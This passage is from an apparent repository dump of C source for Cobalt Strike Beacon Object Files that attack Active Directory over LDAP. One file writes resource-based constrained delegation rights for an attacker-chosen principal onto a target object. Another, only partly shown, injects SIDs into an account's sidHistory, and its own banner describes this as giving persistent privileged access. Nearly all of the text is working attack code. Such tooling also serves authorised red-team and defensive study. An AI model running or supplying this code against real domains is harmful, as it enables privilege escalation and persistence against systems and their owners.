    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n#include \"acl_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments:\n    // target_identifier, is_target_dn, principal_identifier, is_principal_dn,\n    // access_mask (optional - defaults to GenericAll), ace_type (optional),\n    // search_ou, dc_address, use_ldaps\n    char* targetIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTargetDN = BeaconDataInt(&parser);\n    char* principalIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isPrincipalDN = BeaconDataInt(&parser);\n    // char* accessMaskStr = ValidateInput(BeaconDataExtract(&parser, NULL));\n    // char* aceTypeStr = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n\n    if (!targetIdentifier || MSVCRT$strlen(targetIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Target identifier is required\");\n        return;\n    }\n\n    if (!principalIdentifier || MSVCRT$strlen(principalIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Principal identifier is required\");\n        return;\n    }\n\n\n    // Parse ACE parameters (use defaults if not provided)\n    ACCESS_MASK accessMask = GENERIC_ALL; // Default to GenericAll for RBCD\n    // if (accessMaskStr && MSVCRT$strlen(accessMaskStr) > 0) {\n    //     accessMask = ParseAccessMask(accessMaskStr);\n    //     if (accessMask == 0) {\n    //         BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to parse access mask, using GenericAll\");\n    //         accessMask = GENERIC_ALL;\n    //     }\n    //     BeaconPrintf(CALLBACK_OUTPUT, \"[*] Access Mask: %s (0x%08x)\", accessMaskStr, accessMask);\n    // } else {\n    //     BeaconPrintf(CALLBACK_OUTPUT, \"[*] Access Mask: GenericAll (0x%08x) [default]\", accessMask);\n    // }\n\n    BYTE aceType = ACCESS_ALLOWED_ACE_TYPE; // Default to Allow\n    // if (aceTypeStr && MSVCRT$strlen(aceTypeStr) > 0) {\n    //     aceType = ParseAceType(aceTypeStr);\n    //     BeaconPrintf(CALLBACK_OUTPUT, \"[*] ACE Type: %s (0x%02x)\", aceTypeStr, aceType);\n    // } else {\n    //     BeaconPrintf(CALLBACK_OUTPUT, \"[*] ACE Type: Allow (0x%02x) [default]\", aceType);\n    // }\n\n    if (searchOu && MSVCRT$strlen(searchOu) > 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Search OU: %s\", searchOu);\n    }\n\n    if (dcAddress && MSVCRT$strlen(dcAddress) > 0) {\n    }\n\n    if (useLdaps) {\n    }\n\n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    // Get default naming context\n    char* defaultNC = NULL;\n    char* targetDN = NULL;\n    char* principalDN = NULL;\n\n    defaultNC = GetDefaultNamingContext(ld, dcHostname);\n    if (!defaultNC) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    // Resolve target DN\n    if (isTargetDN) {\n        size_t len = MSVCRT$strlen(targetIdentifier) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) {\n            MSVCRT$strcpy(targetDN, targetIdentifier);\n        }\n    } else {\n\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        targetDN = FindObjectDN(ld, targetIdentifier, searchBase);\n\n        if (!targetDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to resolve target DN\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Target '%s' not found\", targetIdentifier);\n            MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    // Resolve principal DN and get SID\n\n    if (isPrincipalDN) {\n        size_t len = MSVCRT$strlen(principalIdentifier) + 1;\n        principalDN = (char*)MSVCRT$malloc(len);\n        if (principalDN) {\n            MSVCRT$strcpy(principalDN, principalIdentifier);\n        }\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        principalDN = FindObjectDN(ld, principalIdentifier, searchBase);\n\n        if (!principalDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to resolve principal DN\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Principal '%s' not found\", principalIdentifier);\n            if (targetDN) MSVCRT$free(targetDN);\n            MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Resolved principal DN: %s\", principalDN);\n    }\n\n    // Get principal's objectSid\n    PSID pPrincipalSid = GetObjectSid(ld, principalDN);\n\n    if (!pPrincipalSid) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to retrieve principal's objectSid\");\n        if (principalDN) MSVCRT$free(principalDN);\n        if (targetDN) MSVCRT$free(targetDN);\n        MSVCRT$free(defaultNC);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    if (!ADVAPI32$IsValidSid(pPrincipalSid)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Retrieved principal SID is invalid\");\n        MSVCRT$free(pPrincipalSid);\n        if (principalDN) MSVCRT$free(principalDN);\n        if (targetDN) MSVCRT$free(targetDN);\n        MSVCRT$free(defaultNC);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    char* principalSidStr = SidToString(pPrincipalSid);\n    if (principalSidStr) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Principal SID: %s\", principalSidStr);\n        MSVCRT$free(principalSidStr);\n    }\n\n    // Read current RBCD configuration (if any)\n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Reading current RBCD configuration...\");\n\n    LDAPMessage* searchResult = NULL;\n    LDAPMessage* entry = NULL;\n    char* attrs[] = { \"msDS-AllowedToActOnBehalfOfOtherIdentity\", NULL };\n    struct berval** values = NULL;\n    BERVAL* currentRbcdBerval = NULL;\n\n    ULONG result = WLDAP32$ldap_search_s(\n        ld,\n        targetDN,\n        LDAP_SCOPE_BASE,\n        \"(objectClass=*)\",\n        attrs,\n        0,\n        &searchResult\n    );\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to search for object\");\n        PrintLdapError(\"Search for RBCD attribute\", result);\n        goto cleanup;\n    }\n\n    entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    if (!entry) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Object not found\");\n        WLDAP32$ldap_msgfree(searchResult);\n        goto cleanup;\n    }\n\n    // Get current RBCD configuration\n    values = WLDAP32$ldap_get_values_len(ld, entry, \"msDS-AllowedToActOnBehalfOfOtherIdentity\");\n\n    PACL pOldDacl = NULL;\n    BOOL rbcdExists = FALSE;\n\n    if (values && values[0]) {\n        rbcdExists = TRUE;\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Found existing RBCD configuration (%d bytes)\", values[0]->bv_len);\n\n        // Allocate and copy\n        currentRbcdBerval = (BERVAL*)MSVCRT$malloc(sizeof(BERVAL));\n        if (currentRbcdBerval) {\n            currentRbcdBerval->bv_len = values[0]->bv_len;\n            currentRbcdBerval->bv_val = (char*)MSVCRT$malloc(currentRbcdBerval->bv_len);\n            if (currentRbcdBerval->bv_val) {\n                MSVCRT$memcpy(currentRbcdBerval->bv_val, values[0]->bv_val, currentRbcdBerval->bv_len);\n            }\n        }\n\n        // Parse to get the DACL\n        PSECURITY_DESCRIPTOR pSD = (PSECURITY_DESCRIPTOR)values[0]->bv_val;\n        BOOL daclPresent = FALSE;\n        BOOL daclDefaulted = FALSE;\n\n        if (ADVAPI32$GetSecurityDescriptorDacl(pSD, &daclPresent, &pOldDacl, &daclDefaulted)) {\n            if (daclPresent && pOldDacl) {\n                ACL_SIZE_INFORMATION aclInfo;\n                if (ADVAPI32$GetAclInformation(pOldDacl, &aclInfo, sizeof(aclInfo), AclSizeInformation)) {\n                    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Current RBCD DACL has %d ACE(s)\", aclInfo.AceCount);\n                }\n            } else {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[*] Current RBCD has empty DACL\");\n            }\n        }\n\n        WLDAP32$ldap_value_free_len(values);\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] No existing RBCD configuration found, will create new one\");\n    }\n\n    WLDAP32$ldap_msgfree(searchResult);\n\n    // Create new DACL with the principal\n    PACL pNewDacl = CreateNewDaclWithAce(\n        pOldDacl,\n        pPrincipalSid,\n        accessMask,\n        aceType,\n        0, // No inheritance flags for RBCD\n        NULL, // No object type GUID\n        NULL  // No inherited object type GUID\n    );\n\n    if (!pNewDacl) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to create new RBCD DACL\");\n        if (currentRbcdBerval) {\n            if (currentRbcdBerval->bv_val) MSVCRT$free(currentRbcdBerval->bv_val);\n            MSVCRT$free(currentRbcdBerval);\n        }\n        goto cleanup;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully created new RBCD DACL\");\n\n    // Create new security descriptor\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Building new RBCD security descriptor...\");\n    BYTE absoluteSDBuffer[SECURITY_DESCRIPTOR_MIN_LENGTH];\n    PSECURITY_DESCRIPTOR pNewSD = (PSECURITY_DESCRIPTOR)absoluteSDBuffer;\n\n    if (!ADVAPI32$InitializeSecurityDescriptor(pNewSD, SECURITY_DESCRIPTOR_REVISION)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize new security descriptor\");\n        MSVCRT$free(pNewDacl);\n        if (currentRbcdBerval) {\n            if (currentRbcdBerval->bv_val) MSVCRT$free(currentRbcdBerval->bv_val);\n            MSVCRT$free(currentRbcdBerval);\n        }\n        goto cleanup;\n    }\n\n    // Set the new DACL\n    if (!ADVAPI32$SetSecurityDescriptorDacl(pNewSD, TRUE, pNewDacl, FALSE)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to set new DACL in security descriptor\");\n        MSVCRT$free(pNewDacl);\n        if (currentRbcdBerval) {\n            if (currentRbcdBerval->bv_val) MSVCRT$free(currentRbcdBerval->bv_val);\n            MSVCRT$free(currentRbcdBerval);\n        }\n        goto cleanup;\n    }\n\n    // Set owner and group in the security descriptor\n    // For RBCD, we need valid owner/group or AD will reject with constraint violation\n    if (rbcdExists && currentRbcdBerval && currentRbcdBerval->bv_val) {\n        // If there was an existing SD, preserve owner and group\n        PSECURITY_DESCRIPTOR pOldSD = (PSECURITY_DESCRIPTOR)currentRbcdBerval->bv_val;\n\n        PSID pOwner = NULL;\n        BOOL ownerDefaulted = FALSE;\n        if (ADVAPI32$GetSecurityDescriptorOwner(pOldSD, &pOwner, &ownerDefaulted) && pOwner) {\n            ADVAPI32$SetSecurityDescriptorOwner(pNewSD, pOwner, ownerDefaulted);\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] Preserved existing owner SID\");\n        }\n\n        PSID pGroup = NULL;\n        BOOL groupDefaulted = FALSE;\n        if (ADVAPI32$GetSecurityDescriptorGroup(pOldSD, &pGroup, &groupDefaulted) && pGroup) {\n            ADVAPI32$SetSecurityDescriptorGroup(pNewSD, pGroup, groupDefaulted);\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] Preserved existing group SID\");\n        }\n    } else {\n        // No existing RBCD - use the principal's SID as both owner and group\n        // This is required by AD or we get constraint violation\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] No existing RBCD - setting owner/group to principal SID\");\n        if (!ADVAPI32$SetSecurityDescriptorOwner(pNewSD, pPrincipalSid, FALSE)) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to set owner in security descriptor\");\n            MSVCRT$free(pNewDacl);\n            if (currentRbcdBerval) {\n                if (currentRbcdBerval->bv_val) MSVCRT$free(currentRbcdBerval->bv_val);\n                MSVCRT$free(currentRbcdBerval);\n            }\n            goto cleanup;\n        }\n        if (!ADVAPI32$SetSecurityDescriptorGroup(pNewSD, pPrincipalSid, FALSE)) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to set group in security descriptor\");\n            MSVCRT$free(pNewDacl);\n            if (currentRbcdBerval) {\n                if (currentRbcdBerval->bv_val) MSVCRT$free(currentRbcdBerval->bv_val);\n                MSVCRT$free(currentRbcdBerval);\n            }\n            goto cleanup;\n        }\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Owner and group set successfully\");\n    }\n\n    // Convert to self-relative format for LDAP\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Converting to self-relative format...\");\n    BERVAL* newRbcdBerval = ConvertSecurityDescriptorToBerval(pNewSD);\n\n    if (!newRbcdBerval) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to convert security descriptor to BERVAL\");\n        MSVCRT$free(pNewDacl);\n        if (currentRbcdBerval) {\n            if (currentRbcdBerval->bv_val) MSVCRT$free(currentRbcdBerval->bv_val);\n            MSVCRT$free(currentRbcdBerval);\n        }\n        goto cleanup;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Converted to self-relative format (%d bytes)\", newRbcdBerval->bv_len);\n\n    // Write back to LDAP\n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Writing RBCD configuration to LDAP...\");\n\n    struct berval* modValues[] = { newRbcdBerval, NULL };\n    LDAPModA rbcdMod;\n    rbcdMod.mod_op = LDAP_MOD_REPLACE | LDAP_MOD_BVALUES;\n    rbcdMod.mod_type = \"msDS-AllowedToActOnBehalfOfOtherIdentity\";\n    rbcdMod.mod_vals.modv_bvals = modValues;\n\n    LDAPModA* mods[] = { &rbcdMod, NULL };\n\n    result = WLDAP32$ldap_modify_s(ld, targetDN, mods);\n\n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] SUCCESS: RBCD configured successfully!\");\n\n        // Verify by reading back\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Verifying RBCD configuration...\");\n\n        LDAPMessage* verifyResult = NULL;\n        result = WLDAP32$ldap_search_s(ld, targetDN, LDAP_SCOPE_BASE, \"(objectClass=*)\", attrs, 0, &verifyResult);\n\n        if (result == LDAP_SUCCESS) {\n            LDAPMessage* verifyEntry = WLDAP32$ldap_first_entry(ld, verifyResult);\n            if (verifyEntry) {\n                struct berval** verifyValues = WLDAP32$ldap_get_values_len(ld, verifyEntry, \"msDS-AllowedToActOnBehalfOfOtherIdentity\");\n                if (verifyValues && verifyValues[0]) {\n                    PSD_INFO sdInfo = ParseSecurityDescriptor((BYTE*)verifyValues[0]->bv_val, verifyValues[0]->bv_len);\n                    if (sdInfo) {\n                        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Verification: RBCD DACL now has %d ACE(s)\", sdInfo->DaclAceCount);\n\n                        // Check if our principal is present\n                        char* checkSidStr = SidToString(pPrincipalSid);\n                        BOOL foundPrincipal = FALSE;\n\n                        if (checkSidStr) {\n                            for (DWORD i = 0; i < sdInfo->DaclAceCount && !foundPrincipal; i++) {\n                                if (sdInfo->DaclAces[i].TrusteeSid &&\n                                    MSVCRT$strcmp(sdInfo->DaclAces[i].TrusteeSid, checkSidStr) == 0) {\n                                    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Principal verified in RBCD DACL at index %d\", i);\n                                    foundPrincipal = TRUE;\n                                }\n                            }\n                            MSVCRT$free(checkSidStr);\n                        }\n\n                        if (!foundPrincipal) {\n                            BeaconPrintf(CALLBACK_OUTPUT, \"[!] Warning: Could not verify principal in RBCD DACL\");\n                        }\n\n                        FreeSecurityDescriptorInfo(sdInfo);\n                    }\n                    WLDAP32$ldap_value_free_len(verifyValues);\n                }\n            }\n            WLDAP32$ldap_msgfree(verifyResult);\n        }\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"\\n[-] FAILED to configure RBCD\");\n        PrintLdapError(\"Modify RBCD attribute\", result);\n    }\n\n    // Cleanup\n    MSVCRT$free(pNewDacl);\n    MSVCRT$free(newRbcdBerval->bv_val);\n    MSVCRT$free(newRbcdBerval);\n    if (currentRbcdBerval) {\n        if (currentRbcdBerval->bv_val) MSVCRT$free(currentRbcdBerval->bv_val);\n        MSVCRT$free(currentRbcdBerval);\n    }\n\ncleanup:\n    if (pPrincipalSid) MSVCRT$free(pPrincipalSid);\n    if (principalDN) MSVCRT$free(principalDN);\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    if (targetDN) MSVCRT$free(targetDN);\n    CleanupLDAP(ld);\n\n}"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/add/add-sidhistory.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nDECLSPEC_IMPORT long __cdecl MSVCRT$strtol(const char* str, char** endptr, int base);\nDECLSPEC_IMPORT unsigned long __cdecl MSVCRT$strtoul(const char* str, char** endptr, int base);\n\n// Import SID conversion functions from ADVAPI32\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$ConvertStringSidToSidA(LPCSTR StringSid, PSID* Sid);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$ConvertSidToStringSidA(PSID Sid, LPSTR* StringSid);\nDECLSPEC_IMPORT PVOID WINAPI KERNEL32$LocalFree(HLOCAL hMem);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$IsValidSid(PSID pSid);\nDECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetLengthSid(PSID pSid);\n\n// Get the objectSid attribute from an LDAP entry\nBERVAL* GetObjectSid(LDAP* ld, const char* objectDN) {\n    if (!ld || !objectDN) return NULL;\n\n    LDAPMessage* searchResult = NULL;\n    char* attrs[] = { \"objectSid\", NULL };\n\n    ULONG result = WLDAP32$ldap_search_s(\n        ld,\n        (char*)objectDN,\n        LDAP_SCOPE_BASE,\n        \"(objectClass=*)\",\n        attrs,\n        0,\n        &searchResult\n    );\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to query object for SID\");\n        PrintLdapError(\"Query objectSid\", result);\n        return NULL;\n    }\n\n    LDAPMessage* entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    if (!entry) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] No entry found\");\n        WLDAP32$ldap_msgfree(searchResult);\n        return NULL;\n    }\n\n    // Get binary SID value\n    struct berval** values = WLDAP32$ldap_get_values_len(ld, entry, \"objectSid\");\n    if (!values || !values[0]) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to retrieve objectSid\");\n        WLDAP32$ldap_msgfree(searchResult);\n        return NULL;\n    }\n\n    // Allocate and copy the SID\n    BERVAL* sidBerval = (BERVAL*)MSVCRT$malloc(sizeof(BERVAL));\n    if (!sidBerval) {\n        WLDAP32$ldap_value_free_len(values);\n        WLDAP32$ldap_msgfree(searchResult);\n        return NULL;\n    }\n\n    sidBerval->bv_len = values[0]->bv_len;\n    sidBerval->bv_val = (char*)MSVCRT$malloc(sidBerval->bv_len);\n    if (!sidBerval->bv_val) {\n        MSVCRT$free(sidBerval);\n        WLDAP32$ldap_value_free_len(values);\n        WLDAP32$ldap_msgfree(searchResult);\n        return NULL;\n    }\n\n    MSVCRT$memcpy(sidBerval->bv_val, values[0]->bv_val, sidBerval->bv_len);\n\n    WLDAP32$ldap_value_free_len(values);\n    WLDAP32$ldap_msgfree(searchResult);\n\n    return sidBerval;\n}\n\n// Convert binary SID to string format for display\nchar* SidToString(PSID sid) {\n    if (!sid || !ADVAPI32$IsValidSid(sid)) {\n        return NULL;\n    }\n\n    LPSTR stringSid = NULL;\n    if (!ADVAPI32$ConvertSidToStringSidA(sid, &stringSid)) {\n        return NULL;\n    }\n\n    // Copy to our own buffer\n    size_t len = MSVCRT$strlen(stringSid) + 1;\n    char* result = (char*)MSVCRT$malloc(len);\n    if (result) {\n        MSVCRT$strcpy(result, stringSid);\n    }\n\n    KERNEL32$LocalFree(stringSid);\n    return result;\n}\n\n// Display current SID history\nvoid DisplaySidHistory(LDAP* ld, const char* objectDN) {\n    if (!ld || !objectDN) return;\n\n    LDAPMessage* searchResult = NULL;\n    char* attrs[] = { \"sAMAccountName\", \"objectSid\", \"sidHistory\", NULL };\n\n    ULONG result = WLDAP32$ldap_search_s(\n        ld,\n        (char*)objectDN,\n        LDAP_SCOPE_BASE,\n        \"(objectClass=*)\",\n        attrs,\n        0,\n        &searchResult\n    );\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Unable to query current SID history\");\n        return;\n    }\n\n    LDAPMessage* entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    if (!entry) {\n        WLDAP32$ldap_msgfree(searchResult);\n        return;\n    }\n\n    // Get sAMAccountName for display\n    char** samValues = WLDAP32$ldap_get_values(ld, entry, \"sAMAccountName\");\n    if (samValues && samValues[0]) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Account: %s\", samValues[0]);\n        WLDAP32$ldap_value_free(samValues);\n    }\n\n    // Get and display objectSid\n    struct berval** sidValues = WLDAP32$ldap_get_values_len(ld, entry, \"objectSid\");\n    if (sidValues && sidValues[0]) {\n        char* sidStr = SidToString((PSID)sidValues[0]->bv_val);\n        if (sidStr) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] Current SID: %s\", sidStr);\n            MSVCRT$free(sidStr);\n        }\n        WLDAP32$ldap_value_free_len(sidValues);\n    }\n\n    // Get and display sidHistory\n    struct berval** historyValues = WLDAP32$ldap_get_values_len(ld, entry, \"sidHistory\");\n    if (historyValues) {\n        int count = 0;\n        while (historyValues[count] != NULL) count++;\n\n        if (count > 0) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] Existing SID History (%d):\", count);\n            for (int i = 0; i < count; i++) {\n                char* sidStr = SidToString((PSID)historyValues[i]->bv_val);\n                if (sidStr) {\n                    BeaconPrintf(CALLBACK_OUTPUT, \"    [%d] %s\", i + 1, sidStr);\n                    MSVCRT$free(sidStr);\n                }\n            }\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] No existing SID history\");\n        }\n        WLDAP32$ldap_value_free_len(historyValues);\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] No existing SID history\");\n    }\n\n    WLDAP32$ldap_msgfree(searchResult);\n}\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n    \n    // Parse arguments: target_identifier, is_target_dn, sid_source, is_sid_source_dn,\n    // search_ou, dc_address, use_ldaps\n    char* targetIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTargetDN = BeaconDataInt(&parser);\n    char* sidSource = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isSidSourceDN = BeaconDataInt(&parser);\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n    \n    if (!targetIdentifier || MSVCRT$strlen(targetIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Target object identifier is required\");\n        return;\n    }\n    \n    if (!sidSource || MSVCRT$strlen(sidSource) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] SID source is required\");\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Can be: SID string (S-1-5-...), username, or DN\");\n        return;\n    }\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"\");\n    BeaconPrintf(CALLBACK_OUTPUT, \"[!] ========================================\");\n    BeaconPrintf(CALLBACK_OUTPUT, \"[!] WARNING: SID HISTORY INJECTION\");\n    BeaconPrintf(CALLBACK_OUTPUT, \"[!] ========================================\");\n    BeaconPrintf(CALLBACK_OUTPUT, \"[!] This is a HIGH-PRIVILEGE operation that:\");\n    BeaconPrintf(CALLBACK_OUTPUT, \"[!]   - Requires DS-Install-Replica rights or equivalent\");\n    BeaconPrintf(CALLBACK_OUTPUT, \"[!]   - May be logged extensively (Event ID 4765, 4766)\");\n    BeaconPrintf(CALLBACK_OUTPUT, \"[!]   - Can trigger security alerts\");\n    BeaconPrintf(CALLBACK_OUTPUT, \"[!]   - Provides persistent privileged access\");\n    BeaconPrintf(CALLBACK_OUTPUT, \"\");\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] SID source: %s\", sidSource);\n    \n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n    \n    char* defaultNC = NULL;\n    char* targetDN = NULL;\n    \n    if (!isTargetDN) {\n        \n        defaultNC = GetDefaultNamingContext(ld, dcHostname);\n        if (!defaultNC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n    \n    // Resolve target DN\n    if (isTargetDN) {\n        size_t len = MSVCRT$strlen(targetIdentifier) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) {\n            MSVCRT$strcpy(targetDN, targetIdentifier);\n        }\n    } else {\n        \n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        targetDN = FindObjectDN(ld, targetIdentifier, searchBase);\n        \n        if (!targetDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to resolve target DN\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Target '%s' not found\", targetIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"\");\n    \n    // Display current state\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Current target object state:\");\n    DisplaySidHistory(ld, targetDN);\n    BeaconPrintf(CALLBACK_OUTPUT, \"\");\n    \n    // Determine SID to add\n    BERVAL* sidToAdd = NULL;\n    char* sidString = NULL;\n    \n    // Check if sidSource is a string SID (starts with \"S-\")\n    if (sidSource[0] == 'S' && sidSource[1] == '-') {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Parsing string SID...\");\n        \n        // Convert string SID to binary\n        PSID binarySid = NULL;\n        if (!ADVAPI32$ConvertStringSidToSidA(sidSource, &binarySid)) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to parse SID string\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Invalid SID format: %s\", sidSource);\n            goto cleanup;\n        }\n        \n        if (!ADVAPI32$IsValidSid(binarySid)) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Invalid SID\");\n            KERNEL32$LocalFree(binarySid);\n            goto cleanup;\n        }\n        \n        // Create BERVAL from binary SID\n        DWORD sidLen = ADVAPI32$GetLengthSid(binarySid);\n        sidToAdd = (BERVAL*)MSVCRT$malloc(sizeof(BERVAL));\n        if (sidToAdd) {\n            sidToAdd->bv_len = sidLen;\n            sidToAdd->bv_val = (char*)MSVCRT$malloc(sidLen);\n            if (sidToAdd->bv_val) {\n                MSVCRT$memcpy(sidToAdd->bv_val, binarySid, sidLen);\n            } else {\n                MSVCRT$free(sidToAdd);\n                sidToAdd = NULL;\n            }\n        }\n        \n        sidString = (char*)MSVCRT$malloc(MSVCRT$strlen(sidSource) + 1);\n        if (sidString) {\n            MSVCRT$strcpy(sidString, sidSource);\n        }\n        \n        KERNEL32$LocalFree(binarySid);\n        \n        if (!sidToAdd || !sidToAdd->bv_val) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to allocate SID buffer\");\n            goto cleanup;\n        }\n        \n        \n    } else {\n        // Resolve SID from object (DN or username)\n        \n        char* sourceDN = NULL;\n        \n        if (isSidSourceDN) {\n            // Use provided DN\n            size_t len = MSVCRT$strlen(sidSource) + 1;\n            sourceDN = (char*)MSVCRT$malloc(len);\n            if (sourceDN) {\n                MSVCRT$strcpy(sourceDN, sidSource);\n            }\n        } else {\n            // Search for source object by username\n            char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n            sourceDN = FindObjectDN(ld, sidSource, searchBase);\n            \n            if (!sourceDN) {\n                BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to resolve source object\");\n                BeaconPrintf(CALLBACK_ERROR, \"[!] Source '%s' not found\", sidSource);\n                goto cleanup;\n            }\n        }\n        \n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Source DN: %s\", sourceDN);\n        \n        // Get SID from source object\n        sidToAdd = GetObjectSid(ld, sourceDN);\n        MSVCRT$free(sourceDN);\n        \n        if (!sidToAdd) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to retrieve SID from source object\");\n            goto cleanup;\n        }\n        \n        // Convert to string for display\n        sidString = 